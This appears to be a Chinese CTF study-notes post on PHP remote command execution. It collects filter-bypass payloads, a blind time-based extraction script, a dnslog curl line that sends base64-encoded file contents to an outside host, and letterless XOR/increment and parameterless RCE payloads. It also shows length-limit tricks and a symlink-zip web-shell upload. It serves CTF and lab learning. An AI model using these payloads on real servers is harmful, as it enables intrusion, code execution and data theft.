RCE

安全声明:本文仅用于 CTF 学习与授权环境复现。

RCE

命令执行(执行系统命令)

函数 作用 是否直接把命令输出打印到页面? 返回值是什么?
system() 执行系统命令 ✅ 会把命令执行过程的输出打印出来 返回命令输出的最后一行(字符串)
passthru() 执行命令并“原样”输出(适合二进制流) ✅ 直接输出所有原始内容 一般返回 null
exec() 执行命令 ❌ 默认不输出 返回最后一行文本,可选把每一行放到数组
shell_exec() 通过 shell 执行命令 ❌ 不直接输出 返回完整输出字符串
反引号 ... shell_exec() 类似 ❌ 不直接输出 返回命令输出(字符串)
popen() 打开一个进程的管道(读 / 写) ❌ 本身不输出 返回资源句柄,自己读写
proc_open() 更高级的进程控制,多路管道 ❌ 本身不输出 返回进程资源,还可拿到各个管道句柄

总结:直接把结果“打印出来”的主要是 system()passthru(),其它大部分都是“返回字符串/资源”,需要自己 echo / var_dump 才看得到。

  • 直接回显的(命令执行时就打印到页面)

    • system()passthru()
  • 只返回结果,不主动回显的

exec()shell_exec()、反引号、popen()proc_open()(这些要你自己把结果 echo 出来)

1
2
3
4
string exec(string $command, array &$output = null, int &$return_var = null)
$command string 要执行的系统命令
&$output array(引用) 接收命令标准输出的每一行不含换行符,每次调用会追加内容;使用前需 `unset($output)` 或 `$output = []`
&$return_var int(引用) 接收命令退出状态码(0=成功)
1
2
3
popen(string $command, string $mode)
command 参数: 要执行的命令。
mode 参数: 模式。'r' 表示阅读,'w' 表示写入 fgets 获取内容,再 print_r 输出内容

绕过

过滤字符

1
2
3
4
5
6
7
8
9
10
11
(1)使用通配符绕过

形如:f???​或者f*​匹配flag文件

(2)使用单引号绕过fla''g​

(3)使用\​绕过fla\g​

(4)使用{}​绕过,如fl{a}g​

(5)使用正则匹配绕过,如fl[a-a]g​

过滤函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
cat
tac
more
head
tail
nl
strings
sort
less
awk
sed
grep
base64
rev
od
vi
vim
pr
uniq

过滤了/​

绕过方法:
1.利用cd指令切目录

1
payload:cd ..&&ls​,cd ..&&cd ..&&cd ..&&ls​

2.通过dirname在当前目录一个个消除路径,直到最终到达根目录

1
payload=ls${IFS}-a${IFS}$(dirname${IFS}$(dirname${IFS}$(dirname${IFS}$PWD)))

过滤空格

1
使用<​ 、<>​、%20​(space)、%09​(tab)、$IFS$9​、 ${IFS}​、$IFS​等代替空格

变量拼接绕过正则

1
2
3
4
5
6
7
以flag为例:

x=ag;cat fl$x

相当于:

cat flag

Linux 变量操作符${}

1
2
3
${PATH:start:length}  
start:起始位置
length:截取长度,可为负数

替换字符
单替换

1
2
 ${file/a/b}
将字符串中第一个a替换为b

全替换
1
2
 ${file//a/b}
将字符串所有的a替换为b

执行命令
1
2
3
 ${PATH:14:1}${PATH:5:1} flag.txt

在此环境中相当于 nl flag.txt

Ascll拼接变形

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php

$func = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);

$cmd = '';

$cmd_chars = [108,115];

foreach($cmd_chars as $ascii) {

   $cmd .= chr($ascii);

}

@$func($cmd);

?>

转ascll脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$filename = "cat 6a2139364f96787c8ce1bbb0070b898c.php";

$ascii_array = [];

for ($i = 0; $i < strlen($filename); $i++) {

    $ascii_array[] = ord($filename[$i]);

}

echo implode(",", $ascii_array);

?>

按位取反(~) + 十六进制转义(\x)试一下

1
2
3
4
5
6
7
<?php

$func = create_function('', ~"\x8f\x97\x8f\x96\x91\x99\x93"['cmd']);

$func();

?>

无回显

if

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import time
url = "http://192.168.1.6:19080/class08/1.php"
result = ""
for i in range(1,5):
for j in range(1,55):
#ascii镶嵌
for k in range(32,128):
k=chr(k)
#time.sleep(0.1)
payload = "?cmd=" + f"if [ `cat flag.php | awk NR=={i} | cut -c {j} == {k} ] ;then sleep 2;fi"
try:
requests.get(url=url+payload, timeout=(1.5,1.5))
except:
result = result + k
print(result)
break
result += ""

tee

[SWPUCTF 2021 新生赛]finalrce (NSSCTF)

 因为没有回显,所以需要把查看出来的内容读取并且写入一个地方来查看,tee命令就是从标准输入读取,再写入标准输出和文件。简单说就是把查看的内容读取然后写入到后面的txt文件
 >”\“-转义符我理解的作用就是在一些控制字符被过滤的时候,可以用转义符,让控制符失去原本的含义,变为字面量,但是作用不变。
 
/?url=l\s / |tee 1.txt,然后访问1.txt看到flag文件
/?url=tac /flllll\aaaaaaggggggg |tee 2.txt,访问2.txt就看到flag了

dnslog外带数据法

1
curl dnslog平台url/`cat flag.php|base64`

无字母数字RCE

取反

[SWPUCTF 2021 新生赛]hardrce (NSSCTF)

不能使用字母和黑名单的特殊字符,但是有eval,满足条件即可执行
绕过方法:对需要使用的函数进行取反,然后再进行URL 编码

  • 注意:在使用取反编码再取反进行绕过时,想要执行我们指定的代码,传入的payload必须要满足 (函数名)() 这样的形式,否则在取反之前PHP解释器并不知道是要执行一个函数,取反之后就算是一个函数也不会被当作代码执行
    执行system(‘ls /‘),取反?wllm=(%8C%86%8C%8B%9A%92)(%93%8C%DF%D0);找到flllllaaaaaaggggggg的文件
    执行system(“cat /flllllaaaaaaggggggg”);取反后?wllm=(%8C%86%8C%8B%9A%92)(%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);即可得到flag
    脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

$a="system";

$b = "tac /f*";

echo urlencode(~$a);

print("\n");

echo urlencode(~$b);

print("\n");

print("(~".urlencode(~$a).")(~".urlencode(~$b).");");

?>

异或

1
2
<?php
echo 'A'^'?';

首先将 A 和 ? 分别转换为对应的ASCII码,A变为65,?变为63 然后将其转换为对应的二进制数,A变为1000001,?变为111111 接下来就进行运算,异或的运算规则是相同为0,不同为1

1
2
3
A:		1000001
1: 0111111(少一位,前面补0即可)
结果: 1111110

接下来将其二进制转换为对应十进制数,1111110对应的十进制数为126,根据ASCII码表可知126对应的是~
payload

1
2
3
4
5
6
$__=("#"^"|"); // _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
$$__[_]($$__[__]); // $_POST[_]($_POST[__]);

然后进行一次URL编码,因为中间件会解码一次

1
然后让&_=system和&__=ls即可

或者脚本直接出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import re

import requests

import urllib

from sys import *

import os

a=[]

ans1=""

ans2=""

for i in range(0,256): #设置i的范围

    c=chr(i)

    #将i转换成ascii对应的字符,并赋值给c

    tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c,re.I)

    #设置过滤条件,让变量c在其中找对应,并利用修饰符过滤大小写,这样可以得到未被过滤的字符

    if(tmp):

        continue

        #当执行正确时,那说明这些是被过滤掉的,所以才会被匹配到,此时我们让他继续执行即可

    else:

        a.append(i)

        #在数组中增加i,这些就是未被系统过滤掉的字符

# eval("echo($c);");

mya="system"  #函数名 这里修改!

myb="dir"      #参数

def myfun(k,my): #自定义函数

    global ans1 #引用全局变量ans1,使得在局部对其进行更改时不会报错

    global ans2 #引用全局变量ans2,使得在局部对其进行更改时不会报错

    for i in range (0,len(a)): #设置循环范围为(0,a)注:a为未被过滤的字符数量

        for j in range(i,len(a)): #在上个循环的条件下设置j的范围

            if(a[i]^a[j]==ord(my[k])):

                ans1+=chr(a[i]) #ans1=ans1+chr(a[i])

                ans2+=chr(a[j]) #ans2=ans2+chr(a[j])

                return;#返回循环语句中,重新寻找第二个k,这里的话就是寻找y对应的两个字符

for x in range(0,len(mya)): #设置k的范围

    myfun(x,mya)#引用自定义的函数

data1="('"+urllib.request.quote(ans1)+"'^'"+urllib.request.quote(ans2)+"')" #data1等于传入的命令,"+ans1+"是固定格式,这样可以得到变量对应的值,再用'包裹,这样是变量的固定格式,另一个也是如此,两个在进行URL编码后进行按位与运算,然后得到对应值

print(data1)

ans1=""#对ans1进行重新赋值

ans2=""#对ans2进行重新赋值

for k in range(0,len(myb)):#设置k的范围为(0,len(myb))

    myfun(k,myb)#再次引用自定义函数

data2="(\""+urllib.request.quote(ans1)+"\"^\""+urllib.request.quote(ans2)+"\")"

print(data2)

自增

直接拼接个空

1
2
3
<?php
$_=[].'';
var_dump($_);成功获取到了字符`Array`

然后我们获取想获取A的话,就可以采用$_[0]这种方式来获取,但我们是不能够写数字的,所以我们这里可以用一个判断,比如我们在[]里加一个==$,此时因为$不同,它就会输出0,此时也就等同于$_[0],具体实现代码如下

1
2
3
4
<?php
$_=[];
$_=$_[''=='$'];
echo $_;

或者

构造$_GET[1]($_GET[0]),这个时候我们就可以system(ls)这种命令的执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$__=$_;//E
$_++;//F
$_++;//G
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
//var_dump($_);
$_='_'.$_;//_GET
var_dump($$_[_]($$_[__]));
//$_GET[_]($_GET[__])

接下来就可以尝试去给___GET传参,这里我们需要把换行的都去掉,然后进行一次URL编码,因为中间件会解码一次,所以我们构造的payload先变成这样

1
$_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);

而后变成

1
%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B

无参RCE

题目特征

1
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) { eval($_GET['star']); }

原理解释

  1. 它使用正则表达式 /[^\W]+\((?R)?\)/ 来匹配并替换掉 $_GET['star'] 中的某些部分
  2. 如果替换后的结果严格等于 ;,则执行 eval($_GET['star'])
  3. 这实际上是一个无参数RCE的场景,因为正则表达式限制了函数调用必须不包含参数

正则表达式解释:

  • [^\W]+:匹配一个或多个字母、数字或下划线(即函数名)
  • \( 和 \):匹配左右括号
  • (?R)?:这是递归匹配,允许嵌套的函数调用,例如 a(b()) 这样的形式
  • 整个正则表达式会匹配类似 function() 或 function(anotherFunction()) 这样的模式,但不允许 function('parameter') 这样的带参数的调用

所以,这个过滤机制允许的输入形式是:

  • function()
  • function(anotherFunction())
  • function1(function2(function3()))

而禁止的形式是:

  • function('text')
  • function(123)
  • function($variable)

无参数RCE的核心是:如何在不使用任何字面量参数(如字符串、数字)的情况下,通过函数之间的嵌套调用来构造攻击载荷,最终实现远程代码执行或文件读取。

相关函数简要介绍:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)
localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西
getcwd() :取得当前工作目录
dirname():函数返回路径中的目录部分
array_flip() :交换数组中的键和值,成功时返回交换后的数组
array_rand() :从数组中随机取出一个或多个单元

array_reverse():将数组内容反转

strrev():用于反转给定字符串

getcwd():获取当前工作目录路径

dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

eval()、assert():命令执行

hightlight_file()、show_source()、readfile():读取文件内容

举个例子scandir('.')是返回当前目录,虽然我们无法传参,但是由于localeconv() 返回的数组第一个就是‘.’,current()取第一个值,那么current(localeconv())就能构造一个‘.’,那么以下就是一个简单的返回查看当前目录下文件的payload:

?参数=var_dump(scandir(current(localeconv())));

数组移动

1
2
3
4
5
end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动

scandir()文件读取函数

[GXYCTF 2019]禁止套娃
源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 1 <?php
2 include "flag.php";
3 echo "flag在哪里呢?<br>";
4 if(isset($_GET['exp'])){
5 if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
6 if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
7 if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
8 // echo $_GET['exp'];
9 @eval($_GET['exp']);
10 }
11 else{
12 die("还差一点哦!");
13 }
14 }
15 else{
16 die("再好好想想!");
17 }
18 }
19 else{
20 die("还想读flag,臭弟弟!");
21 }
22 }
23 // highlight_file(__FILE__);
24 ?>
1
print_r(scandir(current(localeconv())));

1
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

通过读取倒数第二个得到flag

或者

array_rand(): 从数组中取出一个或者多个单元,并且返回随机条目的一个或者多个键。
array_flip():读取当前目录的键和值进行交换,如果失败返回 NULL。

array_flip()和array_rand()配合使用可随机返回当前目录下的文件名。因为其中的键可以利用随机数函数array_rand(),进行随机生成。

payload:(多发几次,随机返回当前目录下的文件内容,会返回flag的)

1
?var=show_source(array_rand(array_flip(scandir(getcwd()))));

session_id()

使用条件:当请求头中有cookie时(或者走投无路手动添加cookie头也行,有些CTF题不会卡)

首先我们需要开启session_start()​来保证session_id()的使用,session_id​可以用来获取当前会话ID,也就是说它可以抓取PHPSESSID后面的东西,但是phpsession不允许()出现
源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

payload:

1
2
?参数=session_start();system(hex2bin(session_id()));
PHPSESSID=636174202f666c6167 //cat /flag的十六进制

getallheaders()

getallheaders()返回当前请求的所有请求头信息,局限于Apache(apache_request_headers()和getallheaders()功能相似,可互相替代,不过也是局限于Apache)

当确定能够返回时,我们就能在数据包最后一行加上一个请求头,写入恶意代码,再用end()函数指向最后一个请求头,使其执行,payload:

var_dump(end(getallheaders()));

get_defined_vars()

特点:比getallheaders()更具普遍性,可获取所有全局变量。

工作原理

  • 返回包含所有全局变量的数组,顺序为:$_GET → $_POST → $_COOKIE → $_FILES
  • 通过操作这些变量,可以实现无参数RCE

利用步骤

  1. 首先确认回显:print_r(get_defined_vars())
  2. 添加额外参数传递恶意代码:
1
a=eval(end(current(get_defined_vars())));&b=system('ls /');
  1. 也可将eval替换为assert,同样能执行命令

长度限制

7

5


4



:linux中的 > 符号和 >> 符号

1.通过>来创建文件

1
2
>test.txt
ls

2.通过>将命令执行的结果存入文件中

1
echo "hello world">test

但是通过>来将命令执行结果写入文件会覆盖掉文件原本的内容,如果我们想要在原本文件内容后面追加内容就要使用>>

1
2
3
4
echo "aaa">test
cat test
echo "bbb">>test
cat test

linux中命令换行

在linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加 “",可以将一条命令写在多行
比如我们有一个test文件内容如下:

1
2
3
4
ec\
ho \
hello \
world!

然后我们用sh命令来执行一下:

1
sh test

成功输出了 hello world!

ls -t命令

在linux中,我们使用ls -t命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)

1
2
3
4
touch a
touch b
touch c
ls -t

结果c b a

利用ls -t 和 > 以及换行符 绕过长度限制执行命令

我们先看执行如下命令的结果:

1
2
ls -t>test
cat test

ls -t 命令列出文件名,然后每个文件名按行储存,如果我们将我们要执行的命令拆分为多个文件名,然后再结合命令换行,然后通过 ls -t > test这样的方式再写入某个文件来运行不就可以绕过命令长度限制了吗,而且从上面我们可以看出,ls -t>test的执行顺序是先创建文件test,然后执行ls -t,然后将执行结果写入test文件
我们可以做如下小实验:
比如我们要执行 echo hello world

1
2
3
4
5
6
7
> "rld"
> "wo\\"
> "llo \\"
> "he\\"
> "echo \\"
ls -t > _
sh _

最终成功的输出了 “hello world

软连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 1. 创建指向网站根目录的软链接
ln -s /var/www/html www_link

# 2. 压缩软链接(必须用 -y 或 --symlinks)
zip -y slink.zip www_link

# 3. 删除软链接,创建同名目录(用于第二步上传木马)
rm www_link
mkdir www_link
echo "<PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY>" > www_link/shell.php

# 4. 压缩目录(覆盖之前的软链接)
zip -r shell.zip www_link

# 5. 先传 slink.zip,再传 shell.zip
# 解压后 shell.php 实际落在 /var/www/html/shell.php
文章目录
  1. 1. RCE
    1. 1.1. 命令执行(执行系统命令)
    2. 1.2. 绕过
      1. 1.2.1. 过滤字符
      2. 1.2.2. 过滤函数
      3. 1.2.3. 过滤了/​
      4. 1.2.4. 过滤空格
      5. 1.2.5. 变量拼接绕过正则
      6. 1.2.6. Linux 变量操作符${}
      7. 1.2.7. Ascll拼接变形
      8. 1.2.8. 按位取反(~) + 十六进制转义(\x)试一下
    3. 1.3. 无回显
      1. 1.3.1. if
      2. 1.3.2. tee
      3. 1.3.3. [SWPUCTF 2021 新生赛]finalrce (NSSCTF)
      4. 1.3.4. dnslog外带数据法
    4. 1.4. 无字母数字RCE
      1. 1.4.1. 取反
      2. 1.4.2. 异或
      3. 1.4.3. 自增
    5. 1.5. 无参RCE
      1. 1.5.1. 题目特征
      2. 1.5.2. 相关函数简要介绍:
      3. 1.5.3. 数组移动
      4. 1.5.4. scandir()文件读取函数
      5. 1.5.5. session_id()
      6. 1.5.6. getallheaders()
      7. 1.5.7. get_defined_vars()
    6. 1.6. 长度限制
      1. 1.6.1. 7
      2. 1.6.2. 5
      3. 1.6.3. 4
      4. 1.6.4. :linux中的 > 符号和 >> 符号
      5. 1.6.5. linux中命令换行
      6. 1.6.6. ls -t命令
      7. 1.6.7. 利用ls -t 和 > 以及换行符 绕过长度限制执行命令
    7. 1.7. 软连接
|